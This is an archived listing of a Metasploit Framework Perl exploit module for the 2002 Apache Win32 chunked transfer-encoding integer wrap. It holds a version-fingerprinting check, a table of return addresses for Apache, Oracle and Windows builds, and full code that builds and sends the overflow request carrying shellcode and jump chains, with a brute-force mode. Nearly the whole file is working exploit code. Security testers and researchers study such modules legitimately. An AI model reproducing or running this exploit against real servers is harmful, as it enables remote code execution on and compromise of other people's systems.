home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / apache_chunked_win32.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  8.8 KB  |  273 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::apache_chunked_win32;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $info =
  16. {
  17.     'Name'  => 'Apache Win32 Chunked Encoding',
  18.     'Version'  => '$Revision: 1.44 $',
  19.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  20.     'Arch'  => [ 'x86' ],
  21.     'OS'    => [ 'win32', 'win2000', 'winnt', 'win2003', 'winxp' ],
  22.     'Priv'  => 1,
  23.     'UserOpts'  => 
  24.     {
  25.         'RHOST' => [1, 'ADDR', 'The target address'],
  26.         'RPORT' => [1, 'PORT', 'The target port', 80],
  27.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  28.     },
  29.  
  30.     'Payload' => 
  31.     {
  32.         'Space'        => 987,
  33.         'MinNops'    => 200,
  34.         'BadChars'    => "\x00+&=%\x0a\x0d\x20",
  35.         'Keys'         => ['+ws2ord'],    
  36.         # sub esp, 4097 + inc esp makes stack happy
  37.         'Prepend'    => "\x81\xc4\xff\xef\xff\xff\x44",        
  38.     },
  39.     
  40.     'Description'  => Pex::Text::Freeform(qq{
  41.         This module exploits the chunked transfer integer wrap vulnerability
  42.         in Apache version 1.2.x to 1.3.24. This particular module has been
  43.         tested with all versions of the official Win32 build between 1.3.9 and
  44.         1.3.24. Additionally, it should work against most co-branded and bundled
  45.         versions of Apache (Oracle 8i, 9i, IBM HTTPD, etc).
  46.         
  47.         You will need to use the Check() functionality to determine the exact target 
  48.         version prior to launching the exploit. The version of Apache bundled with 
  49.         Oracle 8.1.7 will not automatically restart, so if you use the wrong target 
  50.         value, the server will crash.
  51.     }),
  52.      
  53.     'Refs'  =>  
  54.     [
  55.         ['OSVDB',   838],
  56.         ['URL',     'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'],
  57.         ['MIL',       4],
  58.     ],
  59.  
  60.     # All return addresses are pop/pop/ret's...
  61.     'Targets' => 
  62.     [
  63.         ['Windows Generic Bruteforce'],
  64.  
  65.         # Official Apache.org Win32 Builds
  66.         ['Apache.org Build 1.3.9->1.3.19',        0x00401151, [6,2,0,4,1,3,5,7] ],
  67.         ['Apache.org Build 1.3.22/1.3.24',        0x00401141, [2,6,0,4,1,3,5,7] ],
  68.         ['Apache.org Build 1.3.19/1.3.24',        0x6ff6548d, [2,6,0,4,1,3,5,7] ],
  69.         ['Apache.org Build 1.3.22',                0x6ff762ac, [2,6,0,4,1,3,5,7] ],
  70.         
  71.         # Return to Win9xConHook.dll via call ebx
  72.         ['Apache.org Build 1.3.17->1.3.24 (Windows 2000)',        0x1c0f13e5, [2,6,0,4,1,3,5,7] ],
  73.         
  74.         # Return to Win9xConHook.dll via call esi        
  75.         ['Apache.org Build 1.3.17->1.3.24 (Windows NT 4.0)',    0x1c0f1033, [2,6,0,4,1,3,5,7] ],
  76.  
  77.         # Interesting return to PEB trick for Windows 2003 systems...    
  78.         [ 'Windows 2003 English SP0',    0x7ffc0638, [2,6,5,4,1,3,0,7] ], # peb :)
  79.  
  80.         # Pop/Pop/Return on Windows 2000    
  81.         [ 'Windows 2000 English',    0x75022ac4, [2,6,5,4,1,3,0,7] ],
  82.         
  83.         # Oracle HTTPD: [ 8.1.7 ] (one shot)
  84.         #    Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22
  85.         ['Oracle 8.1.7 Apache 1.3.12',    0x1d84d42c, [7] ],    
  86.  
  87.         # Oracle HTTPD: [ 9.1.0 ] (multiple shots)
  88.         #    Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24
  89.         ['Oracle 9.1.0 Apache 1.3.12',    0x10016061, [5,6,0,4,1,3,2,7] ],    
  90.         
  91.         # Oracle HTTPD: [ 9.2.0 ] (multiple shots)
  92.         #     Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
  93.         ['Oracle 9.2.0 Apache 1.3.22',    0x6ff6427a, [5,6,0,4,1,3,2,7] ],        
  94.                     
  95.         # Generic debugging targets
  96.         [ 'Debugging Target',    0xcafebabe, [0,1,2,3,4,5,6,7] ],
  97.     ],
  98.  
  99.     'Keys'  => ['apache'],
  100.  
  101.     'DisclosureDate' => 'Jun 19 2002',
  102. };
  103.  
  104. sub new {
  105.     my $class = shift;
  106.     my $self = $class->SUPER::new({'Info' => $info}, @_);
  107.     return($self);
  108. }
  109.  
  110. sub Check {
  111.     my $self = shift;
  112.     my $target_host = $self->GetVar('RHOST');
  113.     my $target_port = $self->GetVar('RPORT');
  114.  
  115.     my $s = Msf::Socket::Tcp->new
  116.     (
  117.         'PeerAddr'  => $target_host, 
  118.         'PeerPort'  => $target_port, 
  119.         'LocalPort' => $self->GetVar('CPORT'),
  120.         'SSL'       => $self->GetVar('SSL'),
  121.     );
  122.     if ($s->IsError) {
  123.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  124.         return $self->CheckCode('Connect');
  125.     }
  126.  
  127.     $s->Send("GET / HTTP/1.0\r\n\r\n");
  128.     my $res = $s->Recv(-1, 5);
  129.     $s->Close();
  130.     
  131.     if (! $res) {
  132.         $self->PrintLine("[*] No response to request");
  133.         return $self->CheckCode('Generic');
  134.     }
  135.     
  136.     if ($res =~ m/^Server:([^\n]+)/sm) {
  137.         my $svr = $1;
  138.         $svr =~ s/(^\s+|\r|\s+$)//g;
  139.  
  140.         if ($svr eq 'Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22') {
  141.             $self->PrintLine("[*] Vulnerable server '$svr'");
  142.             $self->PrintLine("[*] This looks like an Oracle 8.1.7 Apache service (one-shot only)");
  143.             return $self->CheckCode('Appears');
  144.         }
  145.  
  146.         if ($svr eq 'Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24') {
  147.             $self->PrintLine("[*] Vulnerable server '$svr'");
  148.             $self->PrintLine("[*] This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)");
  149.             return $self->CheckCode('Appears');
  150.         }
  151.  
  152.         if ($svr eq 'Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25') {
  153.             $self->PrintLine("[*] Vulnerable server '$svr'");
  154.             $self->PrintLine("[*] This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)");
  155.             return $self->CheckCode('Appears');
  156.         }
  157.         
  158.         # These signatures were taken from the apache_chunked_encoding.nasl Nessus plugin
  159.         if ($svr =~ /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/) {
  160.             $self->PrintLine("[*] IBM backported the patch, this system is not vulnerable");
  161.             return $self->CheckCode('Safe');
  162.         } 
  163.         elsif ( $svr =~ /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/) {
  164.             $self->PrintLine("[*] Vulnerable server '$svr'");
  165.             return $self->CheckCode('Appears');
  166.         }
  167.  
  168.         $self->PrintLine("[*] Server is probably not vulnerable '$svr'");
  169.         return $self->CheckCode('Safe');
  170.     }
  171.  
  172.     # Return true if there is no server banner
  173.     $self->PrintLine("[*] No server banner was found in the HTTP headers");
  174.     return $self->CheckCode('Unknown');
  175. }
  176.  
  177. sub Exploit {
  178.     my $self = shift;
  179.     my $target_host = $self->GetVar('RHOST');
  180.     my $target_port = $self->GetVar('RPORT');
  181.     my $target_idx  = $self->GetVar('TARGET');
  182.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  183.  
  184.     my @targets;
  185.     my @offsets;
  186.     my $pad;
  187.  
  188.     if (! $self->InitNops(16)) {
  189.         $self->PrintLine("[*] Failed to initialize the nop module.");
  190.         return;
  191.     }
  192.  
  193.     # Brute force everything :-)
  194.     if ($target_idx == 0) {
  195.         @targets = @{$self->Targets};
  196.         shift(@targets);
  197.     } else {
  198.         @targets = ( $self->Targets->[ $target_idx ] );
  199.     }
  200.  
  201.     foreach my $target (@targets) {
  202.         foreach my $pad (@{ $target->[2] }) {
  203.             my $request;
  204.             $request  = "GET / HTTP/1.1\r\n";
  205.             $request .= "Host: $target_host:$target_port\r\n";
  206.             $request .= "Transfer-Encoding: CHUNKED\r\n";
  207.             $request .= "\r\n";
  208.  
  209.             my $fatality = $self->MakeNops(6) ."\xe9". pack('V', -900) ."pP";
  210.             my $pattern = Pex::Text::AlphaNumText(3936) .$shellcode.$fatality. Pex::Text::AlphaNumText($pad);
  211.             
  212.             # Move slightly further back to allow padding changes
  213.             $pattern .= "\xeb\xf0\xde\xad";
  214.             $pattern .= pack('V', $target->[1]);
  215.  
  216.             # Create a chain of return addresses and reverse jumps
  217.             for (2 .. 256) {
  218.                 $pattern .= "\xeb\xf6\xbe\xef";
  219.                 $pattern .= pack('V', $target->[1]);
  220.             }    
  221.             
  222.             # Even out the request length based on the padding value
  223.             # This is required to reliably hit the return address offset
  224.             $pattern .= Pex::Text::AlphaNumText(8-$pad);
  225.             
  226.             # Place our string after the evil chunk size...
  227.             $request .= "FFFFFFF0 ". $pattern;
  228.  
  229.             ##
  230.             # Regardless of what return we hit, execution jumps backwards to the shellcode:
  231.             #                                   _______________ _______________ ___________
  232.             #       _________    _____________  | ________    | | ______      | | ______
  233.             #       v       |    v           |  v v      |    | v v    |      | v v    |
  234.              # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
  235.             ##
  236.             
  237.             my $ccount = 0;
  238.  
  239. AGAIN:
  240.             my $s = Msf::Socket::Tcp->new
  241.             (
  242.                 'PeerAddr'  => $target_host, 
  243.                 'PeerPort'  => $target_port, 
  244.                 'LocalPort' => $self->GetVar('CPORT'),
  245.                 'SSL'       => $self->GetVar('SSL'),
  246.             );
  247.             if ($s->IsError) {
  248.                 $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  249.                 return if $ccount > 2;
  250.                 
  251.                 # Give the server a second to recover
  252.                 sleep(1);
  253.                 
  254.                 # Increment the error counter and try it again
  255.                 $ccount++;
  256.                 goto AGAIN;
  257.             }
  258.  
  259.             $self->PrintLine("[*] Trying ". $target->[0] ." [ " . sprintf("0x%.8x", $target->[1]) ."/$pad ]");
  260.             $s->Send($request);
  261.             $self->Handler($s);
  262.             $s->Close();
  263.             
  264.             # Give the server time to hit the exception and execute payload
  265.             sleep(2);
  266.         }
  267.     }
  268.     return;
  269. }
  270.  
  271.  
  272. 1;
  273.